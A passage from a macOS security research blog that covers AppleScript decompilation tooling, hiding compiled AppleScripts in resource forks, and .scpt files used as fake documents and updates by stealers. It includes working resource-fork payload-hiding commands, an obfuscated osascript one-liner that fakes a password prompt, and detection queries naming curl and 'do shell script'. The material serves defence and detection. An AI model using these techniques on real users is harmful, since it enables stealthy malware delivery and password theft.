    <span class="n">results</span> <span class="o">=</span> <span class="p">{</span><span class="n">k</span><span class="p">:</span> <span class="nb">sorted</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">text</span><span class="p">)))</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">patterns</span><span class="p">.</span><span class="n">items</span><span class="p">()}</span>

    <span class="k">return</span> <span class="n">results</span>

<span class="k">class</span> <span class="nc">DefangAnalyzer</span><span class="p">(</span><span class="n">AbstractAnalyzer</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">visit_StringLiteral</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">:</span> <span class="n">StringLiteral</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
        <span class="c1"># defang any string generated by the script
</span>        <span class="k">return</span> <span class="n">defang</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">printer</span><span class="p">.</span><span class="n">visit_StringLiteral</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="n">indent</span><span class="p">))</span>

    <span class="k">def</span> <span class="nf">visit_Script</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">:</span> <span class="n">Script</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
        <span class="c1"># Render the script normally first 
</span>        <span class="n">script_source</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">printer</span><span class="p">.</span><span class="n">visit_Script</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="n">indent</span><span class="p">)</span>

        <span class="c1"># We add the extracted IOCs and append it to the output
</span>        <span class="n">iocs</span> <span class="o">=</span> <span class="n">extract_defanged_iocs</span><span class="p">(</span><span class="n">script_source</span><span class="p">)</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">script_source</span><span class="si">}</span><span class="se">\n\n</span><span class="si">{</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">iocs</span><span class="p">)</span><span class="si">}</span><span class="s">'</span>
</code></pre></div></div>

<p>If you save this in your current directory, let’s say in <code class="language-plaintext highlighter-rouge">local.py</code> , then we can import this using <code class="language-plaintext highlighter-rouge">local.DefangAnalyzer</code></p>

<p><img src="/assets/posts/20251214/d16-defang.png" alt="" /></p>

<h3 id="final-words">Final Words</h3>

<p>For the one or two people who might one day need a decompiler for run-only AppleScript, I hope the tool helps. Decompiling run-only AppleScripts used to feel impossible, but with a clearer understanding of how the AppleScript VM works and tooling to match, we can finally analyze these samples with confidence.</p>

<p>What started as a quick look into the <a href="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/">use of AppleScript as an infection vector</a> ended up becoming a much bigger side project. The challenge of decompiling, data structures and building an AST was interesting enough for me to to get me to keep digging. That said, I don’t plan to develop the decompiler much further than its current state—it already feels useful enough to analyze every sample I can find in the wild (and there aren’t many).</p>

<h3 id="sources">Sources</h3>
<ul>
  <li>1 <a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/">How AppleScript Is Used For Attacking macOS</a></li>
  <li>2 <a href="https://redcanary.com/blog/threat-detection/applescript/">Going off script: Thwarting OSA, AppleScript, and JXA abuse</a></li>
  <li>3 <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/">XCSSET evolves again: Analyzing the latest updates to XCSSET’s inventory</a></li>
  <li>4 <a href="https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/">New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects</a></li>
  <li>5 <a href="https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/">FADE DEAD Adventures in Reversing Malicious Run-Only AppleScripts</a></li>
  <li>6 <a href="https://www.sentinelone.com/blog/macos-payloads-7-prevalent-and-emerging-obfuscation-techniques/">macOS Payloads | 7 Prevalent and Emerging Obfuscation Techniques
</a></li>
  <li>7 <a href="https://github.com/Jinmo/applescript-disassembler">https://github.com/Jinmo/applescript-disassembler</a></li>
  <li>8 <a href="https://taomm.org/vol1/pdfs/CH%204%20Nonbinary%20Analysis.pdf">The Art of Mac Malware: Nonbinary-Analysis</a></li>
  <li>9 <a href="https://github.com/objective-see/Malware/blob/main/OSAMiner.zip">Objective-See/Malware</a></li>
  <li>10 <a href="https://applescriptlibrary.wordpress.com/wp-content/uploads/2013/11/apple-events-programming-guide.pdf">Apple Events Programming Guide</a></li>
  <li>11 <a href="https://github.com/JXA-userland/JXA">https://github.com/JXA-userland/JXA</a></li>
</ul>]]></content><author><name>Pepe Berba</name></author><category term="security" /><summary type="html"><![CDATA[Developing a tool to allow direct decompilation of run-only Applescripts]]></summary></entry><entry><title type="html">Script Confusion: Playing with AppleScripts hidden in Named Forks</title><link href="https://pberba.github.io/security/2025/11/15/playing-with-hidden-applescripts/" rel="alternate" type="text/html" title="Script Confusion: Playing with AppleScripts hidden in Named Forks" /><published>2025-11-15T00:00:00+00:00</published><updated>2025-11-15T00:00:00+00:00</updated><id>https://pberba.github.io/security/2025/11/15/playing-with-hidden-applescripts</id><content type="html" xml:base="https://pberba.github.io/security/2025/11/15/playing-with-hidden-applescripts/"><![CDATA[<h4 id="intro-to-hiding-compiled-applescripts-in-resource-forks">Intro to hiding compiled Applescripts in resource forks</h4>

<p>I’ve been collaborating with <a href="https://0x626c6f67.xyz/">sysop_host</a>. He described a technique on <a href="https://0x626c6f67.xyz/posts/hiding-compiled-applescripts/">hiding compiled applescripts in a file resource fork</a>. In this blog, we’ll go through some interesting some implications of this.</p>

<p>Below are some commands that will help illustrate the technique. (<a href="https://0x626c6f67.xyz/posts/hiding-compiled-applescripts/#resource-forks">For more details see</a>).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"do shell script </span><span class="se">\"</span><span class="s2">echo '&lt;INSERT BAD HERE&gt;'</span><span class="se">\"</span><span class="s2">"</span> <span class="o">&gt;</span> bad.scpt
<span class="nb">echo</span> <span class="s2">"do shell script </span><span class="se">\"</span><span class="s2">echo good</span><span class="se">\"</span><span class="s2">"</span> <span class="o">&gt;</span> good.scpt              
<span class="c"># 95504cde5ca293ce1085282d58c6caaa</span>
md5 good.scpt

<span class="c"># Compile bad.scpt into the resource fork</span>
osacompile <span class="nt">-x</span> <span class="nt">-r</span> scpt:128 <span class="nt">-o</span> good.scpt bad.scpt 
<span class="c"># Should still be 95504cde5ca293ce1085282d58c6caaa</span>
md5 good.scpt                                   

<span class="c"># Inspect good.scpt (cat, strings, etc)</span>
xxd good.scpt

<span class="c"># Running good.scpt will execute compiled bad.scpt instead</span>
osascript good.scpt                            
</code></pre></div></div>

<p>The commands above do the following:</p>
<ol>
  <li>Create two scripts <code class="language-plaintext highlighter-rouge">bad.scpt</code> and <code class="language-plaintext highlighter-rouge">good.scpt</code></li>
  <li>Compile <code class="language-plaintext highlighter-rouge">bad.scpt</code> into the resource fork of <code class="language-plaintext highlighter-rouge">good.scpt</code></li>
  <li>Inpsect the contents of <code class="language-plaintext highlighter-rouge">good.scpt</code> and see that both the data and the hash are unchanged</li>
  <li>If you execute <code class="language-plaintext highlighter-rouge">osascript good.scpt</code>, the hidden payload is what is executed.</li>
</ol>

<p><img src="/assets/posts/20251115/00-demo.png" alt="" /></p>

<p>We can see the the hidden AppleScript in <code class="language-plaintext highlighter-rouge">good.scpt/..namedfork/rsrc</code></p>

<p><img src="/assets/posts/20251115/01-xxd.png" alt="" /></p>

<p>The usage of named forks is not new. S1 has previously analyzed <a href="https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/">a sample hides a second payload in the named fork.</a>. Another similar example is <a href="https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/">RustyAttr</a>, where scripts were stored in the extended attributes.  A notable difference between previous examples and this techinque, is that the payload doesn’t need to be extracted from the resource fork or extended attribute. It looks like <code class="language-plaintext highlighter-rouge">osascript</code> will automatically detect the hidden payload and execute it.</p>

<p>There isn’t a lot of documentation on this. Based on <a href="https://litux.nl/mirror/applescriptdefinitiveguide/applescpttdg2-CHP-3-SECT-5.html#applescpttdg2-CHP-3-SECT-5.1">AppleScript Definitive Guide - Compiled Script File Formats</a>  the use of resource forks is a legacy feature that has been deprecated but supported for backwards compatibility. At the time of writing, our testing finds that the compiled applescript always takes priority over the original file.</p>

<p>With this, we will go through some observations that we’ve had while playing around this this.</p>

<h4 id="example-1-difference-between-read-vs-run">Example 1: Difference between read vs run</h4>

<p>Similar to the example in the introduction, if the data in the file is another AppleScript (plaintext or compiled), this is ignored.</p>

<p><img src="/assets/posts/20251115/02-read-vs-run.png" alt="" /></p>

<p>This can be an interesting gotcha since an analyst can find themselves analyzing some file, not knowing the the real payload is hiding in the resource fork. Moreover, if the analyst tries to upload the <code class="language-plaintext highlighter-rouge">update_plain.scpt</code> through the VirusTotal over the web UI, only the data fork will be be analyzed and the hidden payload is stripped in the process.</p>

<h4 id="example-2-difference-between-read-vs-compile">Example 2: Difference between read vs compile</h4>

<p>Something we came across by accident, it looks like even <code class="language-plaintext highlighter-rouge">osacompile</code> prioritizes the resource fork over the data fork. The file you are inspecting in a text editor or IDE would be different from what is actually compiled by  <code class="language-plaintext highlighter-rouge">osacompile</code>.</p>

<p>In this example, we use the <code class="language-plaintext highlighter-rouge">good.scpt</code> that already has the hidden applescript.</p>

<p><img src="/assets/posts/20251115/03-osacompile.png" alt="" />
<em>The compiled output differs from the source code</em></p>

<h4 id="example-3-hidden-in-misc-files">Example 3: Hidden in misc files</h4>

<p>This method extends even to all types of files (images, pdfs, txts, etc). In the example below, if an compiled AppleScript is hidden in the resource fork of an image, then this image can be used to load and run applescripts.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osacompile -x -r scpt:128 -o image.png bad.scpt      
osascript image.png
</code></pre></div></div>

<p><img src="/assets/posts/20251115/04-hidden-in-image.png" alt="" /></p>

<h4 id="example-4-loading-scripts">Example 4: Loading scripts</h4>

<p>This is just an extension of <code class="language-plaintext highlighter-rouge">case 1</code>. Applescripts can load/run other applescripts using <code class="language-plaintext highlighter-rouge">run script</code> or <code class="language-plaintext highlighter-rouge">load script -&gt; run</code>.</p>

<p><img src="/assets/posts/20251115/05-load-script.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">run script</code> is used by this sample <a href="https://www.virustotal.com/gui/file/31cd55a2f96f6d760653c28699c18589cf2e7d39a0f257579f587f3dce03a6c6">31cd….a6c6</a>. And if this DMG used this method, the analysis could have missed this since most analysis would have scanned the only data of the files</p>

<p><img src="/assets/posts/20251115/06-bad-dmg-scpt.png" alt="" /></p>

<p>And in this example, the resource forks were not scanned (well they didn’t have anything)</p>

<p><img src="/assets/posts/20251115/07-bad-dmg-rsrc.png" alt="" /></p>

<h4 id="other-notes">Other notes</h4>

<p>Unlike in <a href="https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/">S1’s sample</a> and <a href="https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/">RustyAttr</a>, malware that would use this technique don’t need to reference the <code class="language-plaintext highlighter-rouge">&lt;file&gt;/..namedfork/rsrc</code> directly since it’s all done implicitly. However, it’s not rare for compiled AppleScripts to have a resource forks. For example if a compiled AppleScript is created with <code class="language-plaintext highlighter-rouge">Script Editor</code> , it will have a resource fork. What is probably rare is compiled AppleScripts in resource scripts, but because it’s not common for these to be scanned, it’s hard for me to really say.</p>

<p>You can scan files with resource forks by</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xattr -r &lt;dir&gt; | grep ResourceFork
</code></pre></div></div>

<p>You can try to scan resource fork directly</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>yara rule.yar &lt;file&gt;/..namedfork/rsrc
</code></pre></div></div>
<p>If you are analyzing a zip, use a tool that doesn’t set the extended attributes, like <code class="language-plaintext highlighter-rouge">unzip</code>.</p>

<p><img src="/assets/posts/20251115/08-unzip.png" alt="" /></p>

<p>Since the extended attributes are extracted as files, then they can be scanned like regular files. Note that the format of <code class="language-plaintext highlighter-rouge">&lt;file&gt;/..namedfork/rsrc</code> is different to <code class="language-plaintext highlighter-rouge">__MACOSX/._&lt;file&gt;.scpt</code> if its in a zipped file and <code class="language-plaintext highlighter-rouge">&lt;file&gt;:rsrc</code> if its in a DMG.</p>

<p><img src="/assets/posts/20251115/09-example-rsrc.png" alt="" /></p>

<p>Be careful how you collect your artefacts. Some CLI tools like <code class="language-plaintext highlighter-rouge">zip</code> may strip extended attributes from the files while processing the files.</p>

<p>On top of what was suggested in the <a href="https://0x626c6f67.xyz/posts/hiding-compiled-applescripts/#detection">previous blog</a>, I think, this just goes back to monitoring <code class="language-plaintext highlighter-rouge">osascript</code> and <code class="language-plaintext highlighter-rouge">Script Editor</code> behavior, and if in the future I encounter a sample where I the behaviour doesn’t match the what in the file, I’ll take a peak and see if there’s anything hinding in extended attributes or the resource fork.</p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><summary type="html"><![CDATA[Exploring how we can use a legacy feature of AppleScript to hide payloads in other AppleScripts, images, and files.]]></summary></entry><entry><title type="html">MacOS Infection Vector: Using AppleScripts to bypass Gatekeeper</title><link href="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/" rel="alternate" type="text/html" title="MacOS Infection Vector: Using AppleScripts to bypass Gatekeeper" /><published>2025-11-11T00:00:00+00:00</published><updated>2025-11-11T00:00:00+00:00</updated><id>https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper</id><content type="html" xml:base="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/"><![CDATA[<h3 id="tldr">TLDR</h3>

<p>This gives an overview of how <code class="language-plaintext highlighter-rouge">.scpt</code> AppleScript are used to creatively deliver macOS malware, such as fake office documents or fake Zoom/Teams updates. Previously a technique seen with APT campaigns for macOS, we can now see samples coming from the macOS stealer ecosystem like MacSync and Odyssey.</p>

<p><img src="/assets/posts/20251111/tldr.png" alt="tldr" /></p>

<h3 id="introduction">Introduction</h3>

<p>Back in August 2024, Apple <a href="https://developer.apple.com/news/?id=saqachfa">removed one of the most popular infection vectors on macOS, the “right-click and open” Gatekeeper override</a>. Since then, attackers have had to rely on other ways to get their malware running on macOS.</p>

<p>Below is an overview of two alternative macOS malware delivery methods that we’ve seen. Both methods require the victim to interact with <code class="language-plaintext highlighter-rouge">Terminal.app</code>, which can make the technique less effective.</p>

<p><em>Expand for more info.</em></p>

<details>

  <summary> <b>1. "Copy and paste a command to the Terminal"</b> </summary>

  <p>We’ve seen macOS stealers delivered through a number of <a href="https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/">Clickfake-type websites that also target macOS users</a>, as well as <a href="https://moonlock.com/macos-malware-homebrew-ads">fake Homebrew installation pages</a>.</p>

  <p><img src="https://unit42.paloaltonetworks.com/wp-content/uploads/2025/10/word-image-727488-160134-4.png" alt="MacOS Clickfix" /> 
<em><a href="https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/">from Unit42’s blog</a></em></p>

</details>

<details>

  <summary> <b>2. "Drag and drop to the Terminal DMGs" </b> </summary>

  <p>The other common method we’ve seen is the “drag and drop to terminal”.<a href="https://9to5mac.com/2024/10/17/security-bite-hackers-are-now-directing-users-to-terminal-to-bypass-gatekeeper-in-macos-sequoia/">[1]</a><a href="https://0x626c6f67.xyz/posts/macos-dmg-malware/">[2]</a></p>

  <p><img src="/assets/posts/20251111/ba43d7fb0f1a4b96518e80d0d4a27bb2450cd3b9e4c70d3e22092e888567ad4e.png" alt="ba43d7fb0f1a4b96518e80d0d4a27bb2450cd3b9e4c70d3e22092e888567ad4e" /></p>

</details>

<p><br /></p>

<h3 id="emergence-of-scpt-applescript-files">Emergence of <code class="language-plaintext highlighter-rouge">.scpt</code> AppleScript files</h3>

<p>An emerging “new” method involves using <code class="language-plaintext highlighter-rouge">.scpt</code> files. Although the use of <code class="language-plaintext highlighter-rouge">.scpt</code> AppleScript files may not be new <a href="https://huntability.tech/threat-note-2025-04-23-nk-zoom/">[5]</a><a href="https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis">[6]</a>, we’ve observed more samples using this technique in the last few months.</p>

<p>What caught my interest was a sample analyzed by Moonlock Labs, where the AppleScript files were used to create fake <code class="language-plaintext highlighter-rouge">.docx</code> and <code class="language-plaintext highlighter-rouge">.pptx</code> files.</p>

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">3/ The initial infection vector is a compiled AppleScript, falsely given a .docx &quot;extension&quot;, and which is indeed an AppleScript: &#39;AM Management _Strategic OTC Collaboration Proposal.docx.scpt&#39; (6149…10b7). ‘OTC’ in the naming hints that it might be targeting crypto-related…</p>&mdash; Moonlock Lab (@moonlock_lab) <a href="https://twitter.com/moonlock_lab/status/1980684233690746897?ref_src=twsrc%5Etfw">October 21, 2025</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>After looking for other similar samples, we’ve found some instances of this technique being used by commodity malware, like Odyssey Stealer and MacSync Stealer. Increasing commodity usage suggests trickle-down of APT techniques.</p>

<p><img src="/assets/posts/20251111/sample_scpt_flow.png" alt="sample flow" />
<em>Fake Chrome Update Example</em>
The flow is simple:</p>
<ul>
  <li>By default, a <code class="language-plaintext highlighter-rouge">.scpt</code> file, whether plain text or compiled, opens in <code class="language-plaintext highlighter-rouge">Script Editor.app</code> when double-clicked.</li>
  <li>Comments in the script encourage the user to run it, while hiding the real code behind a large number of blank lines.</li>
  <li>Clicking the ▶️ Run button or pressing ⌘ + R executes the script, even if it’s quarantined by Gatekeeper.</li>
</ul>

<h3 id="examples-in-the-wild">Examples in the wild</h3>

<h4 id="fake-documents">Fake Documents</h4>

<p>Pivoting from the sample above, we can look for other similarly named <code class="language-plaintext highlighter-rouge">.scpt</code> files:</p>
<ul>
  <li><a href="https://www.virustotal.com/gui/file/2e2cedbf1f09208ee7dad6ac5dec96e97bc0c41a31e190bc41e14f2929c05d4c">#1.Apeiron_Token_Transfer_Proposal.docx.scpt</a></li>
  <li><a href="https://www.virustotal.com/gui/file/b489039b502afd8b8267853c4d2cf65f75b76aa1f128f13d332f7d26ffcbd114">Stable1 Investment Proposal (Draft) (EN).pptx.scpt</a></li>
  <li><a href="https://www.virustotal.com/gui/file/6149bacfb02eb3db6f95947bc57d89bfb92b90f16f92a61266ea6fbec81d10b7/details">AM Management _Strategic OTC Collaboration Proposal.docx.scpt</a></li>
</ul>

<p>Similar analysis was published by <a href="https://x.com/L0Psec/status/1987181570265112719?s=20">L0Psec</a>. To add to that discussion, we note that the threat actors also used custom icons to make these fake documents even more convincing.</p>

<p><img src="/assets/posts/20251111/fake_doc_icons.png" alt="" />
<em>Discussed more in a later section</em></p>

<h4 id="fake-installers-and-updates">Fake Installers and Updates</h4>

<p>Just like the fake DMG updates <a href="https://www.malwarebytes.com/blog/threat-intel/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates">[9]</a>, we continue to see threat actors use fake websites to trick users into installing updates. Some of the lure sites are quite sophisticated (see <a href="https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842">Kapsersky’s writeup</a>):</p>
<ul>
  <li><a href="https://www.virustotal.com/gui/file/14aba88b5f87ab9415bbca855d24abc3f151b819302930897e71e2626e823271">MSTeamsUpdate.scpt</a></li>
  <li><a href="https://www.virustotal.com/gui/file/a7c7d75c33aa809c231f1b22521ae680248986c980b45aa0881e19c19b7b1892">Zoom SDK Update.scpt</a>, <a href="https://www.virustotal.com/gui/file/8e897a1e0c3092a7a8f8c3946da6ef23f013dd7633bdea185d15f6ea9c902ef0">(sample 2)</a>, <a href="https://www.virustotal.com/gui/file/580f6dd3f4cb78f80167a3d980bab3590dca877d78bb4e17360dc50fdbef7692/content">(sample 3)</a></li>
</ul>

<p>And we’ve also seen MacSync use this to drop the script described in <a href="https://x.com/moonlock_lab/status/1983550008344375443">[11]</a>:</p>
<ul>
  <li><a href="https://www.virustotal.com/gui/file/24ba8e79bd22ece03fc7cd0b00822a38ecec146dc5c70404476110a4028c9caf">Packages.scpt</a>, <a href="https://www.virustotal.com/gui/file/f9f9ac24381acad8957724b6aacb0a7fe83d9359c6b7ceded10b2c8e2f4a729b">(sample 2)</a></li>
  <li><a href="https://www.virustotal.com/gui/file/2f99de308882fb9a6686913c4f6cc6654e75eb861d39a9ce33ae23c2d11271ec">InstallSoftZone.scpt</a></li>
  <li><a href="https://www.virustotal.com/gui/file/bef32c3e895b661b1aa755f98edd86791c9f9af2e6c936e89d526d9af8dab37c/">InstallDealoryx.scpt</a></li>
</ul>

<p>And Odyssey Stealer</p>
<ul>
  <li><a href="https://www.virustotal.com/gui/file/7f69f3012e134d1f5084fbb9086697da66a9b0e9240c4e1413777b9e1099aca9">Microsoft.TeamsSDK.scpt</a></li>
</ul>

<p>All of these scripts look very similar once opened. In some cases, variations exist - but the social engineering angle remains the same.
<img src="/assets/posts/20251111/fake_installer_00.png" alt="" />
<img src="/assets/posts/20251111/fake_installer_01.png" alt="" /></p>

<p>As noted by other researchers, several of these <code class="language-plaintext highlighter-rouge">.scpt</code> files still have zero detections on VirusTotal:</p>

<p><img src="/assets/posts/20251111/fake_installer_detections.png" alt="" /></p>

<h4 id="bad-dmg">Bad DMG</h4>

<p><code class="language-plaintext highlighter-rouge">.scpt</code> files naturally lends itself back into the DMG flow that we’ve seen in the last few years. The only example I’ve found so far is <code class="language-plaintext highlighter-rouge">远程安装/双击打开我.scpt</code>, which Google translates to <code class="language-plaintext highlighter-rouge">Remote installation/double-click to open my.scpt</code></p>

<p><img src="/assets/posts/20251111/bad_dmg_itw.png" alt="" />
<em><a href="https://www.virustotal.com/gui/file/31cd55a2f96f6d760653c28699c18589cf2e7d39a0f257579f587f3dce03a6c6">31cd….a6c6</a></em></p>

<p>The format of the prompt here is slightly different from what we’ve seen.
<img src="/assets/posts/20251111/bad_dmg_scpt.png" alt="" /></p>

<p>This script will run <a href="https://www.virustotal.com/gui/file/c6dae9481354466531c186421dda521cbedc72c0bf32ba8d49f6eee2cbf2477f/">888.scpt</a> which is an obfuscated read-only AppleScript that drops another malicious dmg, and so on - clearly bad.</p>

<h3 id="where-can-this-go">Where can this go?</h3>

<h4 id="file-icons-on-macos">File Icons on macOS</h4>

<p>On macOS, each file type has a default icon. Normally, this icon is determined by the file’s type (for example, all .txt files share the same default icon). However, macOS allows users to assign custom icons to individual files or folders.</p>

<p>This is stored in the file’s <code class="language-plaintext highlighter-rouge">resource fork</code>, which can be preserved, depending on how the file is delivered. For example, if a file is delivered through a <code class="language-plaintext highlighter-rouge">zip</code>, then you can see the resource fork in the bundled items of the zip file.</p>

<p><img src="/assets/posts/20251111/fake_doc_vt.png" alt="" />
<em><a href="https://www.virustotal.com/gui/file/99cfb160a2453a22cc025fe0afc21d660744205eff2885836d8e543fda50f06d/">99cf…f06d</a></em></p>

<p>When this is unzipped on a Mac endpoint, the custom icon will be displayed, resulting in a convincing fake document. In the sample below, we see that the attacker has provided fake docs for both macOS and Windows.</p>

<p><img src="/assets/posts/20251111/fake_doc_dir.png" alt="" /></p>

<p>This applies to all files on mac. <code class="language-plaintext highlighter-rouge">.command</code>, <code class="language-plaintext highlighter-rouge">.js</code>, <code class="language-plaintext highlighter-rouge">.txt</code> and even those without extensions.</p>

<h4 id="file-extensions">File Extensions</h4>

<p>Similar to the file icon, there is a per file setting for the visibility of file extensions that is stored in the extended attributes. Below, we demo what the <code class="language-plaintext highlighter-rouge">.pptx.scpt</code> sample would look like with this setting enabled.</p>

<p><img src="/assets/posts/20251111/extension_setting.png" alt="" /></p>

<p>Note that the <code class="language-plaintext highlighter-rouge">.pptx.scpt</code> will not work right away. You’d have to use some tricks with characters/unicode to get the <code class="language-plaintext highlighter-rouge">.scpt</code> to be hidden while still showing <code class="language-plaintext highlighter-rouge">.pptx</code></p>

<p><img src="/assets/posts/20251111/extension_demo.png" alt="" /></p>

<h4 id="more-malicious-dmgs">More malicious DMGs</h4>

<p>Similar to <code class="language-plaintext highlighter-rouge">zip</code> files, <code class="language-plaintext highlighter-rouge">dmg</code> files also preserve the icons of the files. This is something that has become common samples we’ve seen for “Drag and drop to the terminal DMGs”.  Although we don’t see many DMG samples that include <code class="language-plaintext highlighter-rouge">.scpt</code>, it wouldn’t be surprising to see this technique grow in adoption.</p>

<p><img src="/assets/posts/20251111/demo_dmg.png" alt="Example create for demonstration" /></p>

<p><a href="/assets/posts/20251111/DemoFakeChromeSetup.zip">Sample DMG (password: infected)</a></p>

<h3 id="additional-notes">Additional Notes</h3>

<h4 id="hunting-for-samples">Hunting for samples</h4>

<p>This technique works for both plaintext AppleScripts and compiled AppleScripts. To hunt for new scripts, we look at both cases.</p>

<p>For plain scripts, you can look for suspicious looking strings like <code class="language-plaintext highlighter-rouge">do shell script</code> and/or <code class="language-plaintext highlighter-rouge">run script</code> accompanied by strings that could be used to construct the comment.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>content: "#############" AND content: "do shell script" AND content: "curl" AND (type: "text" OR type: "AppleScript")
</code></pre></div></div>

<p>For compiled AppleScripts, it’s not as simple. After playing around, I’ve found that the event code for <code class="language-plaintext highlighter-rouge">do shell script</code> is <code class="language-plaintext highlighter-rouge">sysoexec</code> and the event code for <code class="language-plaintext highlighter-rouge">run script</code> is <code class="language-plaintext highlighter-rouge">sysodsct</code> <a href="https://AppleScriptlibrary.wordpress.com/wp-content/uploads/2013/11/AppleScript-terminology-and-apple-eve-nt-codes-e28094-developer-documentation.pdf">[13]</a>, and some strings in ASCII and some as UTF-16. I’m not sure if this is the case for all versions of compiled AppleScripts. <code class="language-plaintext highlighter-rouge">*shrug*</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(content: "#########" OR content: {23 00 23 00 23 00 23 00 23 00 23}) AND content: {63 00 75 00 72 00 6c} AND content: "sysoexec" AND type:AppleScript
</code></pre></div></div>

<p>A note: Although rare, we have seen obfuscation of AppleScript, like in <a href="https://www.virustotal.com/gui/file/c6dae9481354466531c186421dda521cbedc72c0bf32ba8d49f6eee2cbf2477f/">888.scpt</a>.</p>

<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">set</span><span class="w"> </span><span class="nv">part1</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"a"</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">part2</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"b"</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">part3</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"c"</span><span class="w">
</span><span class="p">...</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">part136</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"="</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">part137</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"."</span><span class="w">

</span><span class="c1">-- Reconstructing http://...</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">c2</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nv">part8</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">part20</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">part20</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">part16</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="s2">"://"</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="p">...</span><span class="w">
</span></code></pre></div></div>

<p>In fact, utilizing the similar obfuscations techniques we’ve seen with PowerShell <a href="https://github.com/t3l3machus/PowerShell-Obfuscation-Bible">[14]</a>, we can achieve a similar effect for AppleScript scripts.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osAscRIPT <span class="nt">-e</span> <span class="s1">'set fnxP9 to "tware U"'</span> <span class="nt">-e</span> <span class="s1">'set vdrK2 to "ate"'</span> <span class="nt">-e</span> <span class="s1">'set lmT3b to "pd"'</span> <span class="nt">-e</span> <span class="s1">'set qzrA7 to "Sof"'</span> <span class="nt">-e</span> <span class="s1">'tELl aPp ("Syst" &amp; "Em" &amp; " P" &amp; "REfeRE" &amp; "nces") TO DISpLAy dIALOg "Soft" &amp; "ware " &amp; "U" &amp; "pda" &amp; "te" &amp; " requi" &amp; "res th" &amp; "at you ty" &amp; "pe your passwo" &amp; "rd " &amp; "to " &amp; "apply c" &amp; "han" &amp; "ges." &amp; reTURn &amp; RETUrn  dEFAuLt anSweR "" WIth iCOn 1 WItH HIddEN AnsWeR witH Title (qzrA7 &amp; fnxP9 &amp; lmT3b &amp; vdrK2)'</span>
</code></pre></div></div>

<h3 id="detections-and-mitigations">Detections and Mitigations</h3>

<h4 id="change-the-default-app-of-scpt-files">Change the default app of <code class="language-plaintext highlighter-rouge">.scpt</code> files</h4>

